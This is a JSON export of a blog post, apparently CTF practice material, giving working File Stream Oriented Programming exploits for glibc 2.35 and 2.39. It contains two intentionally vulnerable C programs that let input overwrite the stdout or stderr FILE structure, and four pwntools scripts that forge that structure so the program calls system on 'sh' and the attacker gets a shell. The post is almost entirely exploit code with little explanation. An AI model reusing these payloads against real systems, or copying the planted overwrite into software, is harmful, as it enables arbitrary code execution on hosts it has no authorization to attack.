{"id":3742,"date":"2025-06-27T12:49:17","date_gmt":"2025-06-27T03:49:17","guid":{"rendered":"https:\/\/h4ck.kr\/?p=3742"},"modified":"2025-06-27T12:49:19","modified_gmt":"2025-06-27T03:49:19","slug":"fsop-glibc-2-35-2-39","status":"publish","type":"post","link":"https:\/\/h4ck.kr\/?p=3742","title":{"rendered":"FSOP (glibc 2.35, 2.39)"},"content":{"rendered":"\n<h3 class=\"wp-block-heading\">\uc791\ub3d9 \ud655\uc778\ub41c \ud658\uacbd<\/h3>\n\n\n\n<p>Ubuntu 24.04, (Ubuntu GLIBC 2.39-0ubuntu8.4)<\/p>\n\n\n\n<p>Ubuntu 22.04, (Ubuntu GLIBC 2.35-0ubuntu3.10)<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">FSOP_stdout<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>fsop_stdout.c<\/li>\n<\/ul>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">#include &lt;stdio.h>\n#include &lt;unistd.h>\n#include &lt;stdlib.h>\n\nint main(int argc, const char **argv, const char **envp) {\n    \/\/ stdout\uc744 \uc5b8\ubc84\ud37c\ub4dc \ubaa8\ub4dc\ub85c \uc124\uc815\ud558\uc5ec \uc989\uc2dc \uad6c\uc870\uccb4\ub97c \ub36e\uc5b4\uc4f8 \uc218 \uc788\ub3c4\ub85d \ud568\n    setvbuf(stdout, NULL, _IONBF, 0);\n\n    \/\/ stdout \uad6c\uc870\uccb4\uc758 \uc8fc\uc18c\ub97c \ucd9c\ub825\n    printf(\"%p\\n\", stdout);\n\n    \/\/ stdin\uc73c\ub85c\ubd80\ud130 0xE0(224) \ubc14\uc774\ud2b8\ub97c \uc77d\uc5b4 stdout \uad6c\uc870\uccb4 \uc2dc\uc791 \uc8fc\uc18c\uc5d0 \ub36e\uc5b4\uc500\n    read(STDIN_FILENO, (char *)stdout, 0xE0);\n\n    \/\/ \ub36e\uc5b4\uc4f0\uae30\uac00 \ub05d\ub0ac\uc74c\uc744 \uc54c\ub9bc\n    puts(\"modify finished!\");\n\n    _exit(0);\n}<\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>solve.py<\/li>\n<\/ul>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">#!\/usr\/bin\/env python3\n\nfrom pwn import *\n# context.log_level = 'debug'\ncontext(arch='amd64', os='linux')\nwarnings.filterwarnings('ignore')\nimport sys\n\np = process(\".\/fsop_stdout\")\n# p = remote(\"host3.dreamhack.games\", 10296)\ne = ELF('.\/fsop_stdout',checksec=False)\nl = ELF('\/lib\/x86_64-linux-gnu\/libc.so.6', checksec=False)\n# l = ELF('.\/libc_prob.so.6', checksec=False)\n\ns = lambda str: p.send(str)\nsl = lambda str: p.sendline(str)\nsa = lambda delims, str: p.sendafter(delims, str)\nsla = lambda delims, str: p.sendlineafter(delims, str)\nr = lambda numb=4096: p.recv(numb)\nrl = lambda: p.recvline()\nru = lambda delims: p.recvuntil(delims)\nuu32 = lambda data: u32(data.ljust(4, b\"\\x00\"))\nuu64 = lambda data: u64(data.ljust(8, b\"\\x00\"))\nli = lambda str, data: log.success(str + \"========>\" + hex(data))\nip = lambda: input()\npi = lambda: p.interactive()\n\nbss_start = rl()\nbss_start = bss_start.split(b'\\n')[0]\nbss_start = int(bss_start, 16)\ninfo(f\"bss_start: {(hex(bss_start))}\")\nl.address = bss_start - l.sym['_IO_2_1_stdout_']\nsuccess(f\"libc_base: {(hex(l.address))}\")\n\ndef FSOP_struct(flags = 0, _IO_read_ptr = 0, _IO_read_end = 0, _IO_read_base = 0,\\\n_IO_write_base = 0, _IO_write_ptr = 0, _IO_write_end = 0, _IO_buf_base = 0, _IO_buf_end = 0,\\\n_IO_save_base = 0, _IO_backup_base = 0, _IO_save_end = 0, _markers= 0, _chain = 0, _fileno = 0,\\\n_flags2 = 0, _old_offset = 0, _cur_column = 0, _vtable_offset = 0, _shortbuf = 0, lock = 0,\\\n_offset = 0, _codecvt = 0, _wide_data = 0, _freeres_list = 0, _freeres_buf = 0,\\\n__pad5 = 0, _mode = 0, _unused2 = b\"\", vtable = 0, more_append = b\"\"):\n    \n    FSOP = p64(flags) + p64(_IO_read_ptr) + p64(_IO_read_end) + p64(_IO_read_base)\n    FSOP += p64(_IO_write_base) + p64(_IO_write_ptr) + p64(_IO_write_end)\n    FSOP += p64(_IO_buf_base) + p64(_IO_buf_end) + p64(_IO_save_base) + p64(_IO_backup_base) + p64(_IO_save_end)\n    FSOP += p64(_markers) + p64(_chain) + p32(_fileno) + p32(_flags2)\n    FSOP += p64(_old_offset) + p16(_cur_column) + p8(_vtable_offset) + p8(_shortbuf) + p32(0x0)\n    FSOP += p64(lock) + p64(_offset) + p64(_codecvt) + p64(_wide_data) + p64(_freeres_list) + p64(_freeres_buf)\n    FSOP += p64(__pad5) + p32(_mode)\n    if _unused2 == b\"\":\n        FSOP += b\"\\x00\"*0x14\n    else:\n        FSOP += _unused2[0x0:0x14].ljust(0x14, b\"\\x00\")\n    \n    FSOP += p64(vtable)\n    FSOP += more_append\n    return FSOP\n\n#p64(l.symbols['_IO_2_1_stdout_'] + 196 - 104)\ub294 _IO_save_end + 0x4\ub97c \uc758\ubbf8\ud568\n\n# gdb-peda$ info address _IO_2_1_stdout_\n# Symbol \"_IO_2_1_stdout_\" is static storage at address 0x7f73cde105c0.\n\n# gdb-peda$ set {unsigned int}0x7f73cde1061c = 0x51525354\n# gdb-peda$ p *(struct _IO_FILE_plus *)0x7f73cde105c0\n# $5 = {\n#   file = {\n#     _flags = 0xfbad2887,\n#     _IO_read_ptr = 0x7f73cde10643 &lt;_IO_2_1_stdout_+131> \"\",\n#     _IO_read_end = 0x7f73cde10643 &lt;_IO_2_1_stdout_+131> \"\",\n#     _IO_read_base = 0x7f73cde10643 &lt;_IO_2_1_stdout_+131> \"\",\n#     _IO_write_base = 0x7f73cde10643 &lt;_IO_2_1_stdout_+131> \"\",\n#     _IO_write_ptr = 0x7f73cde10643 &lt;_IO_2_1_stdout_+131> \"\",\n#     _IO_write_end = 0x7f73cde10643 &lt;_IO_2_1_stdout_+131> \"\",\n#     _IO_buf_base = 0x7f73cde10643 &lt;_IO_2_1_stdout_+131> \"\",\n#     _IO_buf_end = 0x7f73cde10644 &lt;_IO_2_1_stdout_+132> \"\",\n#     _IO_save_base = 0x0,\n#     _IO_backup_base = 0x0,\n#     _IO_save_end = 0x5152535400000000 &lt;error: Cannot access memory at address 0x5152535400000000>, XXX\n\n# gdb-peda$ p\/x (size_t)&amp;((FILE*)0)->_IO_save_end\n# $7 = 0x58\n\nfs = FileStructure(0)\nmarker = u64(b'CAFEBABE')\nfs._IO_save_end = marker\n_IO_save_end_off = bytes(fs) .index(p64(marker))\n\nFSOP = FSOP_struct(flags = u64(b\"\\x01\\x01;sh;\\x00\\x00\"), \\\n                   lock            = l.symbols['_IO_2_1_stdout_'] + 0x10, \\\n                   _IO_read_ptr    = 0x0, \\\n                   _IO_write_base  = 0x0, \\\n                   _wide_data      = l.symbols['_IO_2_1_stdout_'] - 0x10, \\\n                   _unused2        = p64(l.symbols['system'])+ b\"\\x00\"*4 + p64(l.symbols['_IO_2_1_stdout_'] + _IO_save_end_off + 4), \\\n                   vtable          = l.symbols['_IO_wfile_jumps'] - 0x20, \\\n                   )\n\ninfo(f\"FSOP payload len: {len(FSOP)}\")    \n\np.sendline(bytes(FSOP))\n\npi()<\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>solve2.py<\/li>\n<\/ul>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">#!\/usr\/bin\/env python3\n\nfrom pwn import *\n# context.log_level = 'debug'\ncontext(arch='amd64', os='linux')\nwarnings.filterwarnings('ignore')\nimport sys\n\np = process(\".\/fsop_stdout\")\n# p = remote(\"host3.dreamhack.games\", 10296)\ne = ELF('.\/fsop_stdout',checksec=False)\nl = ELF('\/lib\/x86_64-linux-gnu\/libc.so.6', checksec=False)\n# l = ELF('.\/libc_prob.so.6', checksec=False)\n\ns = lambda str: p.send(str)\nsl = lambda str: p.sendline(str)\nsa = lambda delims, str: p.sendafter(delims, str)\nsla = lambda delims, str: p.sendlineafter(delims, str)\nr = lambda numb=4096: p.recv(numb)\nrl = lambda: p.recvline()\nru = lambda delims: p.recvuntil(delims)\nuu32 = lambda data: u32(data.ljust(4, b\"\\x00\"))\nuu64 = lambda data: u64(data.ljust(8, b\"\\x00\"))\nli = lambda str, data: log.success(str + \"========>\" + hex(data))\nip = lambda: input()\npi = lambda: p.interactive()\n\nbss_start = rl()\nbss_start = bss_start.split(b'\\n')[0]\nbss_start = int(bss_start, 16)\ninfo(f\"bss_start: {(hex(bss_start))}\")\nl.address = bss_start - l.sym['_IO_2_1_stdout_']\nsuccess(f\"libc_base: {(hex(l.address))}\")\n\ndef FSOP_struct(flags = 0, _IO_read_ptr = 0, _IO_read_end = 0, _IO_read_base = 0,\\\n_IO_write_base = 0, _IO_write_ptr = 0, _IO_write_end = 0, _IO_buf_base = 0, _IO_buf_end = 0,\\\n_IO_save_base = 0, _IO_backup_base = 0, _IO_save_end = 0, _markers= 0, _chain = 0, _fileno = 0,\\\n_flags2 = 0, _old_offset = 0, _cur_column = 0, _vtable_offset = 0, _shortbuf = 0, lock = 0,\\\n_offset = 0, _codecvt = 0, _wide_data = 0, _freeres_list = 0, _freeres_buf = 0,\\\n__pad5 = 0, _mode = 0, _unused2 = b\"\", vtable = 0, more_append = b\"\"):\n    \n    FSOP = p64(flags) + p64(_IO_read_ptr) + p64(_IO_read_end) + p64(_IO_read_base)\n    FSOP += p64(_IO_write_base) + p64(_IO_write_ptr) + p64(_IO_write_end)\n    FSOP += p64(_IO_buf_base) + p64(_IO_buf_end) + p64(_IO_save_base) + p64(_IO_backup_base) + p64(_IO_save_end)\n    FSOP += p64(_markers) + p64(_chain) + p32(_fileno) + p32(_flags2)\n    FSOP += p64(_old_offset) + p16(_cur_column) + p8(_vtable_offset) + p8(_shortbuf) + p32(0x0)\n    FSOP += p64(lock) + p64(_offset) + p64(_codecvt) + p64(_wide_data) + p64(_freeres_list) + p64(_freeres_buf)\n    FSOP += p64(__pad5) + p32(_mode)\n    if _unused2 == b\"\":\n        FSOP += b\"\\x00\"*0x14\n    else:\n        FSOP += _unused2[0x0:0x14].ljust(0x14, b\"\\x00\")\n    \n    FSOP += p64(vtable)\n    FSOP += more_append\n    return FSOP\n\nstdout_lock = l.sym.__nptl_last_event - 0x48 # gdb-peda$ info address _IO_stdfile_1_lock\nFSOP = FSOP_struct(\n    flags=u64(b\"\\x01\\x01\\x01\\x01;sh\\x00\"),\n    lock=stdout_lock,\n    _wide_data=l.sym['_IO_2_1_stdout_'] - 0x10,\n    _markers=l.symbols[\"system\"],\n    _unused2=p32(0x0) + p64(0x0) + p64(l.sym['_IO_2_1_stdout_'] - 0x8),\n    vtable=l.symbols[\"_IO_wfile_jumps\"] - 0x20,\n    _mode=0xFFFFFFFF,\n)\n\ninfo(f\"FSOP payload len: {len(FSOP)}\")    \n\np.sendline(bytes(FSOP))\n\npi()<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">FSOP_stderr<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>fsop_stderr.c<\/li>\n<\/ul>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">#include &lt;stdio.h>\n#include &lt;unistd.h>\n#include &lt;stdlib.h>\n\nint main(int argc, const char **argv, const char **envp) {\n    \/\/ stdout\uc744 \uc5b8\ubc84\ud37c\ub4dc \ubaa8\ub4dc\ub85c \uc124\uc815\ud558\uc5ec \uc989\uc2dc \uad6c\uc870\uccb4\ub97c \ub36e\uc5b4\uc4f8 \uc218 \uc788\ub3c4\ub85d \ud568\n    setvbuf(stderr, NULL, _IONBF, 0);\n\n    \/\/ stdout \uad6c\uc870\uccb4\uc758 \uc8fc\uc18c\ub97c \ucd9c\ub825\n    printf(\"%p\\n\", stderr);\n\n    \/\/ stdin\uc73c\ub85c\ubd80\ud130 0xE0(224) \ubc14\uc774\ud2b8\ub97c \uc77d\uc5b4 stdout \uad6c\uc870\uccb4 \uc2dc\uc791 \uc8fc\uc18c\uc5d0 \ub36e\uc5b4\uc500\n    read(STDIN_FILENO, (char *)stderr, 0xE0);\n\n    \/\/ \ub36e\uc5b4\uc4f0\uae30\uac00 \ub05d\ub0ac\uc74c\uc744 \uc54c\ub9bc\n    fwrite(\"modify finished!\\n\", 1u, 17u, stderr);\n\n    _exit(0);\n}\n<\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>solve.py<\/li>\n<\/ul>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">#!\/usr\/bin\/env python3\n\nfrom pwn import *\n# context.log_level = 'debug'\ncontext(arch='amd64', os='linux')\nwarnings.filterwarnings('ignore')\nimport sys\n\np = process(\".\/fsop_stderr\")\n# p = remote(\"host3.dreamhack.games\", 10296)\ne = ELF('.\/fsop_stderr',checksec=False)\nl = ELF('\/lib\/x86_64-linux-gnu\/libc.so.6', checksec=False)\n# l = ELF('.\/libc_prob.so.6', checksec=False)\n\ns = lambda str: p.send(str)\nsl = lambda str: p.sendline(str)\nsa = lambda delims, str: p.sendafter(delims, str)\nsla = lambda delims, str: p.sendlineafter(delims, str)\nr = lambda numb=4096: p.recv(numb)\nrl = lambda: p.recvline()\nru = lambda delims: p.recvuntil(delims)\nuu32 = lambda data: u32(data.ljust(4, b\"\\x00\"))\nuu64 = lambda data: u64(data.ljust(8, b\"\\x00\"))\nli = lambda str, data: log.success(str + \"========>\" + hex(data))\nip = lambda: input()\npi = lambda: p.interactive()\n\nbss_start = rl()\nbss_start = bss_start.split(b'\\n')[0]\nbss_start = int(bss_start, 16)\ninfo(f\"bss_start: {(hex(bss_start))}\")\nl.address = bss_start - l.sym['_IO_2_1_stderr_']\nsuccess(f\"libc_base: {(hex(l.address))}\")\n\ndef FSOP_struct(flags = 0, _IO_read_ptr = 0, _IO_read_end = 0, _IO_read_base = 0,\\\n_IO_write_base = 0, _IO_write_ptr = 0, _IO_write_end = 0, _IO_buf_base = 0, _IO_buf_end = 0,\\\n_IO_save_base = 0, _IO_backup_base = 0, _IO_save_end = 0, _markers= 0, _chain = 0, _fileno = 0,\\\n_flags2 = 0, _old_offset = 0, _cur_column = 0, _vtable_offset = 0, _shortbuf = 0, lock = 0,\\\n_offset = 0, _codecvt = 0, _wide_data = 0, _freeres_list = 0, _freeres_buf = 0,\\\n__pad5 = 0, _mode = 0, _unused2 = b\"\", vtable = 0, more_append = b\"\"):\n    \n    FSOP = p64(flags) + p64(_IO_read_ptr) + p64(_IO_read_end) + p64(_IO_read_base)\n    FSOP += p64(_IO_write_base) + p64(_IO_write_ptr) + p64(_IO_write_end)\n    FSOP += p64(_IO_buf_base) + p64(_IO_buf_end) + p64(_IO_save_base) + p64(_IO_backup_base) + p64(_IO_save_end)\n    FSOP += p64(_markers) + p64(_chain) + p32(_fileno) + p32(_flags2)\n    FSOP += p64(_old_offset) + p16(_cur_column) + p8(_vtable_offset) + p8(_shortbuf) + p32(0x0)\n    FSOP += p64(lock) + p64(_offset) + p64(_codecvt) + p64(_wide_data) + p64(_freeres_list) + p64(_freeres_buf)\n    FSOP += p64(__pad5) + p32(_mode)\n    if _unused2 == b\"\":\n        FSOP += b\"\\x00\"*0x14\n    else:\n        FSOP += _unused2[0x0:0x14].ljust(0x14, b\"\\x00\")\n    \n    FSOP += p64(vtable)\n    FSOP += more_append\n    return FSOP\n\n#p64(l.symbols['_IO_2_1_stdout_'] + 196 - 104)\ub294 _IO_save_end + 0x4\ub97c \uc758\ubbf8\ud568\n\n# gdb-peda$ info address _IO_2_1_stdout_\n# Symbol \"_IO_2_1_stdout_\" is static storage at address 0x7f73cde105c0.\n\n# gdb-peda$ set {unsigned int}0x7f73cde1061c = 0x51525354\n# gdb-peda$ p *(struct _IO_FILE_plus *)0x7f73cde105c0\n# $5 = {\n#   file = {\n#     _flags = 0xfbad2887,\n#     _IO_read_ptr = 0x7f73cde10643 &lt;_IO_2_1_stdout_+131> \"\",\n#     _IO_read_end = 0x7f73cde10643 &lt;_IO_2_1_stdout_+131> \"\",\n#     _IO_read_base = 0x7f73cde10643 &lt;_IO_2_1_stdout_+131> \"\",\n#     _IO_write_base = 0x7f73cde10643 &lt;_IO_2_1_stdout_+131> \"\",\n#     _IO_write_ptr = 0x7f73cde10643 &lt;_IO_2_1_stdout_+131> \"\",\n#     _IO_write_end = 0x7f73cde10643 &lt;_IO_2_1_stdout_+131> \"\",\n#     _IO_buf_base = 0x7f73cde10643 &lt;_IO_2_1_stdout_+131> \"\",\n#     _IO_buf_end = 0x7f73cde10644 &lt;_IO_2_1_stdout_+132> \"\",\n#     _IO_save_base = 0x0,\n#     _IO_backup_base = 0x0,\n#     _IO_save_end = 0x5152535400000000 &lt;error: Cannot access memory at address 0x5152535400000000>, XXX\n\n# gdb-peda$ p\/x (size_t)&amp;((FILE*)0)->_IO_save_end\n# $7 = 0x58\n\nfs = FileStructure(0)\nmarker = u64(b'CAFEBABE')\nfs._IO_save_end = marker\n_IO_save_end_off = bytes(fs) .index(p64(marker))\n\nFSOP = FSOP_struct(flags = u64(b\"\\x01\\x01;sh;\\x00\\x00\"), \\\n                   lock            = l.symbols['_IO_2_1_stderr_'] + 0x10, \\\n                   _IO_read_ptr    = 0x0, \\\n                   _IO_write_base  = 0x0, \\\n                   _wide_data      = l.symbols['_IO_2_1_stderr_'] - 0x10, \\\n                   _unused2        = p64(l.symbols['system'])+ b\"\\x00\"*4 + p64(l.symbols['_IO_2_1_stderr_'] + _IO_save_end_off + 4), \\\n                   vtable          = l.symbols['_IO_wfile_jumps'] - 0x20, \\\n                   )\n\ninfo(f\"FSOP payload len: {len(FSOP)}\")    \n\np.sendline(bytes(FSOP))\n\npi()<\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>solve2.py<\/li>\n<\/ul>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\" data-enlighter-theme=\"dracula\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">#!\/usr\/bin\/env python3\n\nfrom pwn import *\n# context.log_level = 'debug'\ncontext(arch='amd64', os='linux')\nwarnings.filterwarnings('ignore')\nimport sys\n\np = process(\".\/fsop_stderr\")\n# p = remote(\"host3.dreamhack.games\", 10296)\ne = ELF('.\/fsop_stderr',checksec=False)\nl = ELF('\/lib\/x86_64-linux-gnu\/libc.so.6', checksec=False)\n# l = ELF('.\/libc_prob.so.6', checksec=False)\n\ns = lambda str: p.send(str)\nsl = lambda str: p.sendline(str)\nsa = lambda delims, str: p.sendafter(delims, str)\nsla = lambda delims, str: p.sendlineafter(delims, str)\nr = lambda numb=4096: p.recv(numb)\nrl = lambda: p.recvline()\nru = lambda delims: p.recvuntil(delims)\nuu32 = lambda data: u32(data.ljust(4, b\"\\x00\"))\nuu64 = lambda data: u64(data.ljust(8, b\"\\x00\"))\nli = lambda str, data: log.success(str + \"========>\" + hex(data))\nip = lambda: input()\npi = lambda: p.interactive()\n\nbss_start = rl()\nbss_start = bss_start.split(b'\\n')[0]\nbss_start = int(bss_start, 16)\ninfo(f\"bss_start: {(hex(bss_start))}\")\nl.address = bss_start - l.sym['_IO_2_1_stderr_']\nsuccess(f\"libc_base: {(hex(l.address))}\")\n\ndef FSOP_struct(flags = 0, _IO_read_ptr = 0, _IO_read_end = 0, _IO_read_base = 0,\\\n_IO_write_base = 0, _IO_write_ptr = 0, _IO_write_end = 0, _IO_buf_base = 0, _IO_buf_end = 0,\\\n_IO_save_base = 0, _IO_backup_base = 0, _IO_save_end = 0, _markers= 0, _chain = 0, _fileno = 0,\\\n_flags2 = 0, _old_offset = 0, _cur_column = 0, _vtable_offset = 0, _shortbuf = 0, lock = 0,\\\n_offset = 0, _codecvt = 0, _wide_data = 0, _freeres_list = 0, _freeres_buf = 0,\\\n__pad5 = 0, _mode = 0, _unused2 = b\"\", vtable = 0, more_append = b\"\"):\n    \n    FSOP = p64(flags) + p64(_IO_read_ptr) + p64(_IO_read_end) + p64(_IO_read_base)\n    FSOP += p64(_IO_write_base) + p64(_IO_write_ptr) + p64(_IO_write_end)\n    FSOP += p64(_IO_buf_base) + p64(_IO_buf_end) + p64(_IO_save_base) + p64(_IO_backup_base) + p64(_IO_save_end)\n    FSOP += p64(_markers) + p64(_chain) + p32(_fileno) + p32(_flags2)\n    FSOP += p64(_old_offset) + p16(_cur_column) + p8(_vtable_offset) + p8(_shortbuf) + p32(0x0)\n    FSOP += p64(lock) + p64(_offset) + p64(_codecvt) + p64(_wide_data) + p64(_freeres_list) + p64(_freeres_buf)\n    FSOP += p64(__pad5) + p32(_mode)\n    if _unused2 == b\"\":\n        FSOP += b\"\\x00\"*0x14\n    else:\n        FSOP += _unused2[0x0:0x14].ljust(0x14, b\"\\x00\")\n    \n    FSOP += p64(vtable)\n    FSOP += more_append\n    return FSOP\n\nstderr_lock = l.sym.__nptl_last_event - 0x58 # gdb-peda$ info address _IO_stdfile_2_lock\nFSOP = FSOP_struct(\n    flags=u64(b\"\\x01\\x01\\x01\\x01;sh\\x00\"),\n    lock=stderr_lock,\n    _wide_data=l.sym['_IO_2_1_stderr_'] - 0x10,\n    _markers=l.symbols[\"system\"],\n    _unused2=p32(0x0) + p64(0x0) + p64(l.sym['_IO_2_1_stderr_'] - 0x8),\n    vtable=l.symbols[\"_IO_wfile_jumps\"] - 0x20,\n    _mode=0xFFFFFFFF,\n)\n\ninfo(f\"FSOP payload len: {len(FSOP)}\")    \n\np.sendline(bytes(FSOP))\n\npi()<\/pre>\n","protected":false},"excerpt":{"rendered":"<p>\uc791\ub3d9 \ud655\uc778\ub41c \ud658\uacbd Ubuntu 24.04, (Ubuntu GLIBC 2.39-0ubuntu8.4) Ubuntu 22.04, (Ubuntu GLIBC 2.35-0ubuntu3.10) FSOP_stdout FSOP_stderr<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"neve_meta_sidebar":"","neve_meta_container":"","neve_meta_enable_content_width":"","neve_meta_content_width":0,"neve_meta_title_alignment":"","neve_meta_author_avatar":"","neve_post_elements_order":"","neve_meta_disable_header":"","neve_meta_disable_footer":"","neve_meta_disable_title":"","_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[1],"tags":[33,61,58],"class_list":["post-3742","post","type-post","status-publish","format-standard","hentry","category-uncategorized","tag-fsop","tag-glibc_2-35","tag-glibc_2-39"],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/3742","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3742"}],"version-history":[{"count":1,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/3742\/revisions"}],"predecessor-version":[{"id":3743,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/3742\/revisions\/3743"}],"wp:attachment":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3742"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3742"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3742"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}